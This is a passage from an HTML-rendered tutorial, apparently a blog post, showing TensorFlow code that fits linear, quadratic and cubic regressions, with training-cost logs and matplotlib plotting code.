<span class="nt">Epoch</span><span class="na"> 12000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 13000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 14000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 15000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 16000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 17000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 18000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 19000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 20000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 21000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 22000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 23000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 24000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">Epoch</span><span class="na"> 25000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">88999125000.0</span><span class="err">  </span><span class="nc">a,b</span><span class="p">:</span><span class="err"> </span><span class="nc">180396.42</span><span class="err"> </span><span class="nc">-478869.12</span>
<span class="nt">88999125000.0</span><span class="na"> 180396.42 -478869.12</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">predictions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">abscissa</span><span class="p">:</span>
  <span class="n">predictions</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">coefficient1</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">constant</span><span class="p">))</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span> <span class="p">,</span> <span class="n">ordinate</span><span class="p">,</span> <span class="s1">&#39;ro&#39;</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">&#39;Original data&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">predictions</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">&#39;Fitted line&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">&#39;Linear Regression Result&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>

<p><img src="/assets/gciTales/03-regression/2.png" alt="" /></p>

<h3 id="quadratic-equation">Quadratic Equation</h3>

<div class="codehilite">
<pre><span></span><code><span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span> <span class="k">as</span> <span class="n">sess</span><span class="p">:</span>
    <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">init</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">no_of_epochs</span><span class="p">):</span>
      <span class="k">for</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">ordinate</span><span class="p">):</span>
        <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">optimizer2</span><span class="p">,</span> <span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">x</span><span class="p">,</span> <span class="n">Y</span><span class="p">:</span><span class="n">y</span><span class="p">})</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">1000</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
        <span class="n">cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse2</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
        <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;Epoch&quot;</span><span class="p">,(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="s2">&quot;: Training Cost:&quot;</span><span class="p">,</span> <span class="n">cost</span><span class="p">,</span><span class="s2">&quot; a,b,c:&quot;</span><span class="p">,</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">))</span>

        <span class="n">training_cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse2</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
        <span class="n">coefficient1</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
        <span class="n">coefficient2</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
        <span class="n">constant</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>

<span class="nb">print</span><span class="p">(</span><span class="n">training_cost</span><span class="p">,</span> <span class="n">coefficient1</span><span class="p">,</span> <span class="n">coefficient2</span><span class="p">,</span> <span class="n">constant</span><span class="p">)</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="nt">Epoch</span><span class="na"> 1000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">52571360000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">1002.4456</span><span class="err"> </span><span class="nc">1097.0197</span><span class="err"> </span><span class="nc">1276.6921</span>
<span class="nt">Epoch</span><span class="na"> 2000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">37798890000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">1952.4263</span><span class="err"> </span><span class="nc">2130.2825</span><span class="err"> </span><span class="nc">2469.7756</span>
<span class="nt">Epoch</span><span class="na"> 3000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">26751185000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">2839.5825</span><span class="err"> </span><span class="nc">3081.6118</span><span class="err"> </span><span class="nc">3554.351</span>
<span class="nt">Epoch</span><span class="na"> 4000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">19020106000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">3644.56</span><span class="err"> </span><span class="nc">3922.9563</span><span class="err"> </span><span class="nc">4486.3135</span>
<span class="nt">Epoch</span><span class="na"> 5000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">14060446000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">4345.042</span><span class="err"> </span><span class="nc">4621.4233</span><span class="err"> </span><span class="nc">5212.693</span>
<span class="nt">Epoch</span><span class="na"> 6000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">11201084000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">4921.1855</span><span class="err"> </span><span class="nc">5148.1504</span><span class="err"> </span><span class="nc">5689.0713</span>
<span class="nt">Epoch</span><span class="na"> 7000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">9732740000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">5364.764</span><span class="err"> </span><span class="nc">5493.0156</span><span class="err"> </span><span class="nc">5906.754</span>
<span class="nt">Epoch</span><span class="na"> 8000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">9050918000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">5685.4067</span><span class="err"> </span><span class="nc">5673.182</span><span class="err"> </span><span class="nc">5902.0728</span>
<span class="nt">Epoch</span><span class="na"> 9000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8750394000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">5906.9814</span><span class="err"> </span><span class="nc">5724.8906</span><span class="err"> </span><span class="nc">5734.746</span>
<span class="nt">Epoch</span><span class="na"> 10000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8613128000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6057.3677</span><span class="err"> </span><span class="nc">5687.3364</span><span class="err"> </span><span class="nc">5461.167</span>
<span class="nt">Epoch</span><span class="na"> 11000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8540034600.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6160.547</span><span class="err"> </span><span class="nc">5592.3022</span><span class="err"> </span><span class="nc">5122.8633</span>
<span class="nt">Epoch</span><span class="na"> 12000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8490983000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6233.9175</span><span class="err"> </span><span class="nc">5462.025</span><span class="err"> </span><span class="nc">4747.111</span>
<span class="nt">Epoch</span><span class="na"> 13000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8450816500.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6289.048</span><span class="err"> </span><span class="nc">5310.7583</span><span class="err"> </span><span class="nc">4350.6997</span>
<span class="nt">Epoch</span><span class="na"> 14000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8414082000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6333.199</span><span class="err"> </span><span class="nc">5147.394</span><span class="err"> </span><span class="nc">3943.9294</span>
<span class="nt">Epoch</span><span class="na"> 15000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8378841600.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6370.7944</span><span class="err"> </span><span class="nc">4977.1704</span><span class="err"> </span><span class="nc">3532.476</span>
<span class="nt">Epoch</span><span class="na"> 16000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8344471000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6404.468</span><span class="err"> </span><span class="nc">4803.542</span><span class="err"> </span><span class="nc">3120.2087</span>
<span class="nt">Epoch</span><span class="na"> 17000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8310785500.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6435.365</span><span class="err"> </span><span class="nc">4628.1523</span><span class="err"> </span><span class="nc">2709.1445</span>
<span class="nt">Epoch</span><span class="na"> 18000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8277482000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6465.5493</span><span class="err"> </span><span class="nc">4451.833</span><span class="err"> </span><span class="nc">2300.2783</span>
<span class="nt">Epoch</span><span class="na"> 19000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8244650000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6494.609</span><span class="err"> </span><span class="nc">4274.826</span><span class="err"> </span><span class="nc">1894.3738</span>
<span class="nt">Epoch</span><span class="na"> 20000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8212349000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6522.8247</span><span class="err"> </span><span class="nc">4098.1733</span><span class="err"> </span><span class="nc">1491.9915</span>
<span class="nt">Epoch</span><span class="na"> 21000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8180598300.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6550.6567</span><span class="err"> </span><span class="nc">3922.7405</span><span class="err"> </span><span class="nc">1093.3868</span>
<span class="nt">Epoch</span><span class="na"> 22000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8149257700.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6578.489</span><span class="err"> </span><span class="nc">3747.8362</span><span class="err"> </span><span class="nc">698.53357</span>
<span class="nt">Epoch</span><span class="na"> 23000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8118325000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6606.1973</span><span class="err"> </span><span class="nc">3573.2742</span><span class="err"> </span><span class="nc">307.3541</span>
<span class="nt">Epoch</span><span class="na"> 24000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8088001000.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6632.96</span><span class="err"> </span><span class="nc">3399.878</span><span class="err"> </span><span class="nc">-79.89219</span>
<span class="nt">Epoch</span><span class="na"> 25000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">8058094600.0</span><span class="err">  </span><span class="nc">a,b,c</span><span class="p">:</span><span class="err"> </span><span class="nc">6659.793</span><span class="err"> </span><span class="nc">3227.2517</span><span class="err"> </span><span class="nc">-463.03156</span>
<span class="nt">8058094600.0</span><span class="na"> 6659.793 3227.2517 -463.03156</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="n">predictions</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">abscissa</span><span class="p">:</span>
  <span class="n">predictions</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">coefficient1</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">coefficient2</span><span class="o">*</span><span class="n">x</span> <span class="o">+</span> <span class="n">constant</span><span class="p">))</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span> <span class="p">,</span> <span class="n">ordinate</span><span class="p">,</span> <span class="s1">&#39;ro&#39;</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">&#39;Original data&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">predictions</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span><span class="s1">&#39;Fitted line&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">title</span><span class="p">(</span><span class="s1">&#39;Quadratic Regression Result&#39;</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">legend</span><span class="p">()</span>
<span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</code></pre>
</div>

<p><img src="/assets/gciTales/03-regression/3.png" alt="" /></p>

<h3 id="cubic">Cubic</h3>

<div class="codehilite">
<pre><span></span><code><span class="k">with</span> <span class="n">tf</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span> <span class="k">as</span> <span class="n">sess</span><span class="p">:</span>
    <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">init</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">epoch</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">no_of_epochs</span><span class="p">):</span>
      <span class="k">for</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span><span class="n">y</span><span class="p">)</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">abscissa</span><span class="p">,</span> <span class="n">ordinate</span><span class="p">):</span>
        <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">optimizer3</span><span class="p">,</span> <span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">x</span><span class="p">,</span> <span class="n">Y</span><span class="p">:</span><span class="n">y</span><span class="p">})</span>
      <span class="k">if</span> <span class="p">(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">%</span><span class="mi">1000</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
        <span class="n">cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse3</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
        <span class="nb">print</span><span class="p">(</span><span class="s2">&quot;Epoch&quot;</span><span class="p">,(</span><span class="n">epoch</span><span class="o">+</span><span class="mi">1</span><span class="p">),</span> <span class="s2">&quot;: Training Cost:&quot;</span><span class="p">,</span> <span class="n">cost</span><span class="p">,</span><span class="s2">&quot; a,b,c,d:&quot;</span><span class="p">,</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">),</span><span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">d</span><span class="p">))</span>

        <span class="n">training_cost</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">mse3</span><span class="p">,</span><span class="n">feed_dict</span><span class="o">=</span><span class="p">{</span><span class="n">X</span><span class="p">:</span><span class="n">abscissa</span><span class="p">,</span><span class="n">Y</span><span class="p">:</span><span class="n">ordinate</span><span class="p">})</span>
        <span class="n">coefficient1</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
        <span class="n">coefficient2</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>
        <span class="n">coefficient3</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
        <span class="n">constant</span> <span class="o">=</span> <span class="n">sess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">d</span><span class="p">)</span>

<span class="nb">print</span><span class="p">(</span><span class="n">training_cost</span><span class="p">,</span> <span class="n">coefficient1</span><span class="p">,</span> <span class="n">coefficient2</span><span class="p">,</span> <span class="n">coefficient3</span><span class="p">,</span> <span class="n">constant</span><span class="p">)</span>
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code><span class="nt">Epoch</span><span class="na"> 1000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">4279814000.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">670.1527</span><span class="err"> </span><span class="nc">694.4212</span><span class="err"> </span><span class="nc">751.4653</span><span class="err"> </span><span class="nc">903.9527</span>
<span class="nt">Epoch</span><span class="na"> 2000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3770950400.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">742.6414</span><span class="err"> </span><span class="nc">666.3489</span><span class="err"> </span><span class="nc">636.94525</span><span class="err"> </span><span class="nc">859.2088</span>
<span class="nt">Epoch</span><span class="na"> 3000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3717708300.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">756.2582</span><span class="err"> </span><span class="nc">569.3339</span><span class="err"> </span><span class="nc">448.105</span><span class="err"> </span><span class="nc">748.23956</span>
<span class="nt">Epoch</span><span class="na"> 4000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3667464000.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">769.4476</span><span class="err"> </span><span class="nc">474.0318</span><span class="err"> </span><span class="nc">265.5761</span><span class="err"> </span><span class="nc">654.75525</span>
<span class="nt">Epoch</span><span class="na"> 5000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3620040700.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">782.32324</span><span class="err"> </span><span class="nc">380.54272</span><span class="err"> </span><span class="nc">89.39888</span><span class="err"> </span><span class="nc">578.5136</span>
<span class="nt">Epoch</span><span class="na"> 6000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3575265800.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">794.8898</span><span class="err"> </span><span class="nc">288.83356</span><span class="err"> </span><span class="nc">-80.5215</span><span class="err"> </span><span class="nc">519.13654</span>
<span class="nt">Epoch</span><span class="na"> 7000 </span><span class="p">:</span><span class="err"> </span><span class="nc">Training</span><span class="err"> </span><span class="nc">Cost</span><span class="p">:</span><span class="err"> </span><span class="nc">3532972000.0</span><span class="err">  </span><span class="nc">a,b,c,d</span><span class="p">:</span><span class="err"> </span><span class="nc">807.1608</span><span class="err"> </span><span class="nc">198.87044</span><span class="err"> </span><span class="nc">-244.31102</span><span class="err"> </span><span class="nc">476.2061</span>
